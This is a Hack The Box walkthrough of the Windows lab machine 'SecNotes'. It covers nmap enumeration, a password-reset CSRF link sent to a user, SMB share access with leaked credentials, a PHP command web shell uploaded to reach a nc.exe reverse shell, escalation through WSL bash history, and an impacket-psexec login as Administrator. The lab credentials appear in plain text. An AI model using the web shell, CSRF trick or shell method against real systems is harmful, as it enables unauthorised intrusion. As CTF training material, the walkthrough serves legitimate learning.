# SecNotes

Hack-The-Box 58 / 72
4 min read
HTB Windows Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement.
Table of Contents
⚔
Challenge Mode
Hide the solution and attempt the box yourself first
  • Machine Name: SecNotes
  • OS Type: Windows
  • Difficulty: Medium

Port Scanning - Service & Version Enumeration

Terminal window
# Nmap 7.95 scan initiated Thu May  8 16:58:21 2025 as: /usr/lib/nmap/nmap -sVC -p- --open -oN initial/nmap.out -vv 10.10.10.97
Nmap scan report for 10.10.10.97
Host is up, received echo-reply ttl 127 (0.27s latency).
Scanned at 2025-05-08 16:58:21 IST for 411s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE      REASON          VERSION
80/tcp   open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
445/tcp  open  microsoft-ds syn-ack ttl 127 Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         syn-ack ttl 127 Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows


Host script results:
| smb-os-discovery:
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2025-05-08T04:34:09-07:00
| smb2-time:
|   date: 2025-05-08T11:34:10
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: 2h19m36s, deviation: 4h02m31s, median: -25s
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 25086/tcp): CLEAN (Timeout)
|   Check 2 (port 44923/tcp): CLEAN (Timeout)
|   Check 3 (port 53444/udp): CLEAN (Timeout)
|   Check 4 (port 47004/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked


Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  8 17:05:12 2025 -- 1 IP address (1 host up) scanned in 411.27 seconds

Enumeration

Port 80/HTTP

port 80 is open on target let’s visit the web app in browser

image.png

let’s check the web technology using whatweb

Terminal window
whatweb http://10.10.10.97
image.png

back to our web app, let’s first create a new account by clicking on signup now button, login with newly created account’s creds

image.png

now starting my enumeration from All sections i found useful Change password button

image.png

i noticed that we didn’t require the current password to change the password, now another contact us page looks interesting as it send message to tyler

what if user is checking the message, let’s send link to our local web server and start netcat listener on port 80

Terminal window
rlwrap -r nc -nvlp 80
image.png

send the message

image.png

and yes user clicked it, also it shows that the user-agent is windows powershell, we assume that there’s powershell/batch script doing it

what if we manage to reset the tyler’s password, but for that i need get url that contains password reset link, can we send GET request to /change_pass.php

image.png

and it worked, so the idea is we’ll send password reset link to tyler, as the link clicked by tyler, his session cookie with this request will reset his password

Terminal window
http://10.10.10.97/change_pass.php/?password=admin123&confirm_password=admin123&submit=submit

send this link in contact us message, and wait few seconds and try to login as tyler using admin123 as his password

image.png

looking at new site note

image.png

looks like the credential of the tyler

Terminal window
smbclient -L //10.10.10.97 -U 'secnoted.htb/tyler%92g!mA8BGjOirkL%OG*&'
image.png
Terminal window
smbclient //10.10.10.97/new-site -U 'secnoted.htb/tyler%92g!mA8BGjOirkL%OG*&'
image.png

nothing useful but we noticed that we can upload the files in this share

Terminal window
echo "test" > test.txt

and then try to upload files using put command

Terminal window
put test.txt
image.png

now how to access this file, we noticed another web server is running on port 8808 port

let’s try to access the test.txt from there

image.png

but after some times it is automatically deleted, so we need to do it fast, first we’ll upload the aspx webshell

image.png

Boom! error file or directory not found! what about php

Terminal window
<?php system($_GET['cmd']); ?>
image.png image.png

and then we can get the shell by executing nc.exe

image.png

Running winpeas i found the wsl is installed on machine

image.png

ok so looks like we need to login to wsl

i’ll locate wsl.exe using where command

Terminal window
where /R C:\Windows wsl.exe
image.png

i’ll execute whoami command to see what user we are running

Terminal window
C:\Windows\WinSxS\amd64_microsoft-windows-lxss-wsl_31bf3856ad364e35_10.0.17134.1_none_686f10b5380a84cf\wsl.exe whoami
image.png

now we need to find bash.exe to execute commands

Terminal window
where /R C:\Windows bash.exe
image.png

execute bash.exe to login to machine

Terminal window
C:\Windows\WinSxS\amd64_microsoft-windows-lxss-bash_31bf3856ad364e35_10.0.17134.1_none_251beae725bc7de5\bash.exe
image.png

then i found the .bash_history file inside root user’s home directory

image.png

we got the administrator’s password, let’s login as administrator using impacket-psexec

Terminal window
impacket-psexec Administrator:'u6!4ZwgwOM#^OBf#Nwnh'@10.10.10.97
image.png
Next: Sauna
My avatar

Thanks for reading my blog post! Feel free to check out my other posts or contact me via the social links in the footer.

Related Writeups

# Puppy

Hack-The-Box 54 / 72
8 min read

Windows Intermediate machine - Puppy.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. Brute Force ⓘ Systematically trying many credential combinations until one succeeds. SUID ⓘ A Linux permission bit that runs a binary as its owner — misconfigured SUID binaries are a classic privesc vector. NFS ⓘ Network File System — shared Linux file storage, sometimes exported with no_root_squash for privilege escalation.

# Sniper

Hack-The-Box 62 / 72
7 min read

Windows Medium machine - Sniper.

HTB Windows Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. PHP WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. LFI ⓘ Local File Inclusion — a web vulnerability letting an attacker read arbitrary files on the server. RFI ⓘ Remote File Inclusion — a web vulnerability allowing an attacker to include and execute a remote file.

# Bastion

Hack-The-Box 8 / 72
4 min read

Windows Easy machine - Bastion.

HTB Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. SSH ⓘ Secure Shell — encrypted remote login, targeted via key theft, brute force, or misconfigured access. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. CVE ⓘ A publicly catalogued, known vulnerability with a unique identifier (Common Vulnerabilities and Exposures). PHP NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks.

# Blackfield

Hack-The-Box 10 / 72
6 min read

Windows Hard machine - Blackfield.

HTB Active Directory ⓘ Microsoft's directory service for managing users, computers, and permissions across a Windows domain. Windows Sudo ⓘ Linux command for running as another user — misconfigured sudo rules are a common privilege escalation path. Nmap ⓘ A network scanner used to enumerate open ports, services, and versions on a target. DNS ⓘ The Domain Name System — translates hostnames to IPs; often leaks subdomains and internal naming during recon. PHP NTLM ⓘ Windows' legacy authentication protocol — vulnerable to relay and pass-the-hash attacks. WinRM ⓘ Windows Remote Management — used for remote PowerShell access, often the lateral-movement endpoint on AD boxes. SMB ⓘ Server Message Block — Windows file-sharing protocol, frequently abused for enumeration and lateral movement. Password Cracking ⓘ Recovering a plaintext password from a captured hash via brute-force or wordlist attacks. BloodHound ⓘ A tool that maps Active Directory trust relationships as a graph to reveal hidden attack paths to Domain Admin. LDAP ⓘ Lightweight Directory Access Protocol — used to query Active Directory; often vulnerable to injection or anonymous binds. AS-REP Roasting ⓘ Requesting authentication data for accounts without Kerberos pre-auth, then cracking it offline to recover the password. Password Spraying ⓘ Trying one common password against many usernames to avoid account lockouts.
Comments